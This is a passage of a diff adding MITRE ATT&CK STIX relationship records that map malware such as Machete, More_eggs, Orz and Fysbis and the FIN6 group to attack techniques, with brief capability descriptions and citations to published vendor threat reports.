"2019-09-13T17:14:47.670Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": " [Machete](https://attack.mitre.org/software/S0409) can download additional files for execution on the victim\u2019s machine. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T13:40:47.879Z", + "id": "relationship--9901b17d-551e-4971-9ff7-7142e7c2bb4e", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-10-07T15:16:12.112Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "Once a file is uploaded, [Machete](https://attack.mitre.org/software/S0409) will delete it from the machine. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T13:40:47.890Z", + "id": "relationship--230fb134-db80-490d-9c00-5039487d5903", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-09-13T17:14:47.809Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Machete](https://attack.mitre.org/software/S0409) collects the hostname of the target computer. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T13:44:32.587Z", + "id": "relationship--d843c014-0814-4945-b75a-09db4ad6e81b", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-10-07T15:16:12.143Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Machete](https://attack.mitre.org/software/S0409) collects the MAC address of the target computer. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T13:50:37.752Z", + "id": "relationship--6a9d747a-d2d6-48eb-92d0-441f1c127c4c", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-10-07T15:16:12.157Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", + "description": "[Machete](https://attack.mitre.org/software/S0409) sends stolen data to the C2 server every 10 minutes. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T13:54:29.625Z", + "id": "relationship--76b62130-29f5-4e3a-ace1-146a228a08a9", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-10-07T15:16:12.164Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "description": "[Machete](https://attack.mitre.org/software/S0409) saves the window names. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T14:12:16.427Z", + "id": "relationship--8ab5954b-d36f-40c3-8f90-7e4862d38f43", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-09-13T17:14:47.798Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549", + "description": "[Machete](https://attack.mitre.org/software/S0409) has a feature to copy files from every drive onto a removable drive in a hidden folder.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T14:28:14.449Z", + "id": "relationship--9ceaecae-f85d-4eb7-a518-fb98b2b71c66", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-10-07T15:16:12.148Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + }, + { + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.", + "source_name": "Securelist Machete Aug 2014", + "url": "https://securelist.com/el-machete/66108/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "description": "[Machete](https://attack.mitre.org/software/S0409) copies files from newly inserted drives. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T14:28:14.466Z", + "id": "relationship--9cba53fd-9b5c-4dc3-b933-c167b1d62a03", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-09-13T17:14:47.810Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Machete](https://attack.mitre.org/software/S0409) stores files and logs in a folder on the local drive. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T14:28:14.469Z", + "id": "relationship--79333543-6031-4aa4-91be-35d80fae8ed2", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-09-13T17:14:47.934Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "description": "[Machete](https://attack.mitre.org/software/S0409) detects the insertion of new devices by listening for the WM_DEVICECHANGE window message. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T14:28:14.481Z", + "id": "relationship--b71a28d8-a1b1-41b4-a0ac-f92bef513c6e", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-10-10T12:39:13.972Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[Machete](https://attack.mitre.org/software/S0409) stores zipped files with profile data from installed web browsers. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T14:28:14.493Z", + "id": "relationship--c254bf89-3726-4c56-aae5-700c59427daf", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-09-13T17:14:47.937Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "description": "[Machete](https://attack.mitre.org/software/S0409) has the capability to exfiltrate stolen data to a hidden folder on a removable drive.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T14:29:19.317Z", + "id": "relationship--f8f50914-3b71-40a2-b661-5e11571222a6", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-10-07T15:16:12.244Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Machete](https://attack.mitre.org/software/S0409) produces file listings in order to search for files to be exfiltrated. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T16:47:13.103Z", + "id": "relationship--d0c60722-e668-4597-a25f-f7e1eb1a5962", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-10-07T15:16:12.239Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Machete](https://attack.mitre.org/software/S0409) searches the File system for files of interest. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T16:47:13.121Z", + "id": "relationship--b8d078f6-77ad-4c6c-8d20-0c4a5a3fd05a", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-09-13T17:14:47.933Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T16:48:01.331Z", + "id": "relationship--f33b1a88-1c1c-4ea4-a1b3-f1198012e728", + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "modified": "2019-09-13T16:48:01.331Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist Machete Aug 2014", + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.", + "url": "https://securelist.com/el-machete/66108/" + }, + { + "source_name": "ESET Machete July 2019", + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "description": "[Machete](https://attack.mitre.org/software/S0409)\u2019s collected files are exfiltrated automatically to remote servers. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T17:02:27.522Z", + "id": "relationship--6cf0d062-e441-48ca-b675-2f01ae333b74", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-09-13T17:14:47.928Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Machete](https://attack.mitre.org/software/S0409) renamed payloads and task names to masquerade as legitimate Google Chrome, Java, Dropbox, Adobe Reader and Python executables. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T17:14:47.391Z", + "id": "relationship--72cb3a93-f4c1-43a8-9a62-43bf1f6f4889", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-10-07T15:16:12.230Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[Machete](https://attack.mitre.org/software/S0409) uses the netsh wlan show networks mode=bssid and netsh wlan show interfaces commands to list all nearby WiFi networks and connected interfaces. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T17:14:47.408Z", + "id": "relationship--3d787947-fdaf-4fcd-938d-19b4672abfac", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-10-07T15:16:12.235Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "description": "[Orz](https://attack.mitre.org/software/S0229) can gather the victim's Internet Explorer version.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-16T18:01:16.034Z", + "id": "relationship--70059c24-ccde-4832-854e-3bcb71c294a9", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "modified": "2019-09-16T18:01:16.034Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used Comodo code-signing certificates.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-16T18:46:37.624Z", + "id": "relationship--a30f6573-061d-4df0-8c0d-0f6afc5fa96c", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-09-16T18:46:37.624Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Security Intelligence More Eggs Aug 2019", + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used WMI to automate the remote execution of PowerShell scripts.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-16T18:46:37.649Z", + "id": "relationship--c8e9b49a-4509-407b-9d49-1c1d6f4cb794", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-09-16T18:46:37.649Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Security Intelligence More Eggs Aug 2019", + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used fake job advertisements sent via LinkedIn to spearphish targets.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-16T18:46:37.655Z", + "id": "relationship--95914d60-80b6-432b-945a-316b93cb2a13", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-09-16T18:46:37.655Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Security Intelligence More Eggs Aug 2019", + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-16T18:46:37.956Z", + "id": "relationship--ed3bc4c8-f800-440f-8bb4-c5e8e4611eb3", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-09-16T18:46:37.956Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Security Intelligence More Eggs Aug 2019", + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) has used cmd.exe for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-16T19:41:10.066Z", + "id": "relationship--3524e5ae-332f-4e53-8129-e638961cc38e", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "modified": "2019-09-16T19:41:10.066Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "source_name": "Security Intelligence More Eggs Aug 2019", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) has used a signed binary shellcode loader and a signed Dynamic Link Library (DLL) to create a reverse shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-16T19:41:10.095Z", + "id": "relationship--c9e900cd-4c6b-4027-b6ca-b93b55c3c5e7", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "modified": "2019-09-16T19:41:10.095Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "source_name": "Security Intelligence More Eggs Aug 2019", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) will decode malware components that are then dropped to the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-16T19:41:10.098Z", + "id": "relationship--095f6266-2535-4991-ad6b-64388513d6e7", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "modified": "2019-09-16T19:41:10.098Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "source_name": "Security Intelligence More Eggs Aug 2019", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) has used an RC4-based encryption method for its C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-16T19:41:10.145Z", + "id": "relationship--2b454322-5ad5-449f-86c9-092867acd51c", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "modified": "2019-10-07T16:14:04.107Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "source_name": "Security Intelligence More Eggs Aug 2019", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) has used basE91 encoding, along with encryption, for C2 communication.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-16T19:41:10.153Z", + "id": "relationship--ac5089b3-db8b-401d-924d-76e35bce7e9c", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "modified": "2019-10-07T16:14:04.101Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "source_name": "Security Intelligence More Eggs Aug 2019", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) has used regsvr32.exe to execute the malicious DLL.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-16T19:41:10.157Z", + "id": "relationship--d95285f5-803c-4eaf-977e-b221bd41f4d2", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "modified": "2019-09-16T19:41:10.157Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "source_name": "Security Intelligence More Eggs Aug 2019", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-16T19:42:21.183Z", + "id": "relationship--5b8c6d74-6fa5-455b-8400-92fdda5c299e", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-09-16T19:42:21.183Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Security Intelligence More Eggs Aug 2019", + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-18T15:14:13.125Z", + "id": "relationship--f755463c-28a6-4e47-8b13-1028806f5032", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-18T15:14:13.125Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy\u2019s Linux Backdoor. Retrieved September 10, 2017.", + "source_name": "Fysbis Palo Alto Analysis", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Fysbis](https://attack.mitre.org/software/S0410) has the ability to 